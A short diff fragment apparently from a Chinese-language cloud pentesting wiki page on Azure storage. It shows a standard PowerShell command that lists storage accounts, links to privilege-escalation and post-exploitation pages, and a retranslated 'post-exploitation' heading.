 # Get storage accounts
 Get-AzStorageAccount | fl
@@ -447,7 +447,7 @@ az-file-shares.md
 ../az-privilege-escalation/az-storage-privesc.md
 {{#endref}}

-## 利用后活动
+## 利用后操作

 {{#ref}}
 ../az-post-exploitation/az-blob-storage-post-exploitation.md